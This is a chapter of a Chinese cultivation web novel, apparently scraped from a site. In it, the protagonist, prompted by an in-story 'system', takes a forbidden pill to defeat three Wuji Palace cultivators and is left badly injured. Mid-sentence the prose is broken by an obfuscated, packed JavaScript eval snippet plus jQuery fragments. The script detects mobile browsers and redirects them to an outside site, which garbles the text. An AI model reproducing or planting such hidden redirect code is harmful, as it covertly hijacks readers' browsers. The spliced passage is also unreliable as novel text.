进入九重秘境以来,一路上都未遇到其余小队。
早已知晓归墟内部有无数个小世界,纪云谏一直以为是应着主角光环的缘故,一行人直接进入了可以获取剑谱传承的世界中,故没有外人干扰。
谁知面前突然出现了三人,而且观其气息都是金丹期,不由得心下一紧。
自己这边虽然人数占优,但是金丹和筑基之间的修为犹如天堑,如果若真的对上,怕是有去无回。
【系统指令:检测到“剧情爽值”关键节点,目前数值为20。临时任务激活:助龙傲天击溃无极宫修士。】
系统已经许久没有提过这个数值,原来不知何时已经悄然涨到了20。
纵然是处变不惊的纪云谏,听到这个任务也有些汗颜,整个队伍除了自己和应昭,其余人在金丹期前毫无作战能力,能保住性命已经是不容易,何况是要击溃对方?
他心底一沉,抱着一线希望以灵识问道:“当前形势下可有解法?”
识海之中依旧是一片死寂,神念如石沉大海般杳无回应。纪云谏早该习惯这份漠然,系统似乎是天道的一种具象,高悬在九天之上,只负责发布任务,其余时候再无踪影,任由他兀自挣扎、自生自灭。
说起这无极宫,在修真界堪称是独一份的存在。它素来不涉宗派大比这等俗世纷争,门下弟子更是鲜少在世间露面,外界只知其最擅群攻之术。此番秘境开启,这群惯常隐世于无极山脉深处的修士竟破例现身,且修为都在金丹期之上,纪云谏总觉得其间有什么不为人知的缘故。
不等他仔细思考,面前三人已经是摆好了阵型。
金丹期的威压当前,纪云谏心中急转,面上却不动声色,厉声喝道:“诸位道友,天隐宗和无极宫向来无冤无仇,不知道为何大动干戈?”与此同时,他迅速做了个备战的手势,身后几人立刻心领神会,皆将灵器握于手中。
三人对视了一眼,面色皆充满阴寒:“你从何得知我们是无极宫之人?”
纪云谏不理会他们的提问,半是震慑半是拖延时间道:“归墟乃各派弟子历练之所,素有不开杀戮的规矩。我乃天隐宗门人,身佩宗派信物,今日你们若敢下杀手,必引起两派纷争,此中干系,还望阁下慎重。”
为首之人闻言,目光阴晴不定,拇指无意识地握紧手中的刀柄。然而,短短一息之间,他眼中最后那点犹豫便被贪婪所覆盖。
纪云谏眸色微冷,他知此战如今是避无可避,只有逐个击破才有一丝胜算。
面前三人,其中一名是四转金丹,另外二人是初破金丹之境。他眸光一凛,当机立断对其余人暗自传声道:“应昭和迟声,你们去对付左侧的金丹初期,其余三人主攻右边,当中那位四转金丹由我来牵制。”
说完,他周身灵力运转,身形轻盈,提着霜寂就与那为首之人缠斗起来。
此刻,外置丹田的玄妙尽显无疑,周身灵力如江海倾泻般磅礴不绝。然而他刚结丹不久,此时也只是二转金丹的境界,面对那四转修士的威压,纵有灵力之优势,身法仍显滞涩,功法运转亦落了下风。
身旁两方小战场也正在同步进行:
应昭是筑基大成,配合上阵法双修的迟声,倒也勉强和其中一人打了个难舍难分。
而傅氏兄妹都是今年入门,刚筑基不久;穆婵虽是筑基中期却是医修,战力大打折扣。见缠斗许久无果,傅雪盈只得反手祭出秘境所得的凤尾瑶琴。
上古灵宝乍一出世,琴音清亮悠扬,阵阵罡风和上古威能随之奔涌。虽暂时稳住了战局,但也激发了无极宫之人的贪欲,他双目赤红,恨不得招招毙命。
一刻钟未到,纪云谏强行接下四转金丹的一击杀招。他吐出一口鲜血,手中的霜寂也发出一阵痛苦的悲鸣,冰纹寸裂,剑身流转的灵光逐渐黯淡。
纪云谏自觉已是山穷水尽之时,只能再次朝系统求救:“你也不想龙傲天死在这里吧?”
识海内一片死寂,唯余他自己粗重的喘息。
就在纪云谏心沉谷底之际,一道毫无起伏的声音终于响起:【检测到宿主生存概率低于5%。可启动紧急预案:提前使用50积分兑换荣枯丸一枚,是否确认?】
“这有何用?”纪云谏从未听过这种丹药的名字。
“可以强行将修为提升三个小境界,持续时间为一炷香。但服用后会有三日虚弱期,期间无法使用灵力。”
纪云谏尚未来得及权衡,只见对手舞着黑色巨刀携着精纯灵力迎头劈下,将他掀飞至十米开外。霜寂嗡鸣不止,在地面划出一道深远的凹痕,才堪堪让纪云谏停下。
这样下去大家都会命丧于此,他顷刻便做出了决定:“确认。”
一颗散发着淡腥味的粉红色药丸悄无声息地出现在纪云谏手中,他当即服下。
丹药入腹的一刹那,磅礴药力如洪流般在经脉中轰然奔涌。纪云谏呕出一口淤血,周身原本滞涩的灵力骤然暴涨。霎时间,对手横劈而来的刀势在他眼中仿佛慢动作一般,原本凌厉的刀光竟显得凝滞而迟缓。
纪云谏举起霜寂,双手持剑,四两拨千斤一般挡去了来势汹汹的一击。
对手难以置信地看着自己必胜的杀招被其轻飘飘地破解,他瞳孔紧缩:“五转金丹?!你服了什么禁药?”眼见着纪云谏灵力暴涨,局势瞬间逆转,他暴呵一声:“列阵!”
只见其余二人攻势戛然而止,脚法腾挪间顷刻就结成了三角阵列。几人灵力集在一处,浑然一体,堪比五转金丹修士。
纪云谏以剑为支撑,慢慢站起来。他身上的伤势仍重,周身伤口绽裂,鲜血浸透衣衫。但是比起狂暴灵力在经脉间肆虐的痛苦,这些伤口显得不值一提。
纵使无极宫擅长群攻,然而靠着外置丹田,纪云谏在同阶之间再无对手。
他仍记得一炷香的时限,一时之间周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340794|183435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身寒气四溢,衣袂在凛冽气流中猎猎作响。剑尖凝霜的刹那,天地间温度骤降,他起手就是寒霜守寂剑法的最后一势:霜灭。
凝天地极寒为刃,化万物寂灭为意。
剑锋所指之处,寒气如潮蔓延,每道剑影都在剑意中叠加一层霜痕。剑光皆凝成千万冰剑阵列,向着那无极宫阵法疾驰而去。三人阵法应声而破,几道护体灵光闪过,也仅仅只能护住几人性命。他们筋脉寸断,已被寒气捣碎丹田,再也无法修行。
纪云谏收剑入鞘,身上浅色的道袍已成了件血衣。
见剑法终了,只能被迫旁观的迟声一把拽住穆婵的衣袖,来到纪云谏身边。他从喉咙里挤出一声嘶哑的催促:“你不是医修吗?快……”他的目光定在一道刀痕上,刀口从纪云谏的肩胛骨一直斜劈至腰腹处,若是再偏一些再重一些……他不敢再想。
穆婵指尖疾动,掐起一个回春诀,掌心悬在纪云谏伤口上方顺着经脉游移。在温润灵力的治疗下,渗血的伤痕终于慢慢愈合。
然而体表的伤痕已完全回复后,她仍是双眉紧蹙,片刻后才试探着问道:“纪师兄,你是否服用了什么药物?”
纪云谏凝着眉,只淡淡地嗯了一声。
“纪师兄,你体表的伤口我已经帮你治好了,但是体内经脉几乎完全断裂,丹田处……空空如也,似乎是陈伤。恕穆婵无能为力。”她收回了手,指尖淡绿色的灵力缓缓消散。
纪云谏早知自己体内情况,没有什么反应。迟声却面色惨白,不自觉收紧了护在纪云谏后腰处的手。
“那纪师兄,还能修炼吗?”应昭呆愣地看着纪云谏,刚才他一人之力连破三位金丹修士的场景仍历历在目。
若如系统所说,那自己只是短暂地无法运转灵力,三日之后便能恢复如初,纪云谏没有把这件事放在心上:“无碍。”但在其他人看来,这和强颜欢笑无异。
傅雪盈年岁尚小,立马哽咽着哭出了声:“纪师兄,若是我没有拉你来历练,你也不会现在这样。”
傅临舟手腕一翻,掌中已多了一枚令牌,表面雕刻着北海寒蛟图腾,隐隐有灵力流动:“纪师兄是为护我等才受此重伤,”他将令牌郑重递出,眼底有愧色,“这是北海傅家的亲令。持此信物,凡傅家势力所至之处,不管是人力还是物力,皆可调用。”
纪云谏目光掠过令牌上盘旋的寒蛟纹路,并未推辞。
众人各自疗伤整顿的无声之际,系统冰冷的提示声却在纪云谏脑中响起:【系统提示:临时任务失败,主角龙傲天爽值-5,目前爽值为15。】
这对吗?
纪云谏心中思绪万千,只得迅速换了身干净的衣服,四处寻着迟声。他正一人坐在青黑的崖上,额间的发随着山谷里的微风浮动着。
“小迟?”纪云谏走到他身边。
迟声没有抬头,一滴眼泪如琥珀般在睫毛尖悬停许久,才倏然坠下。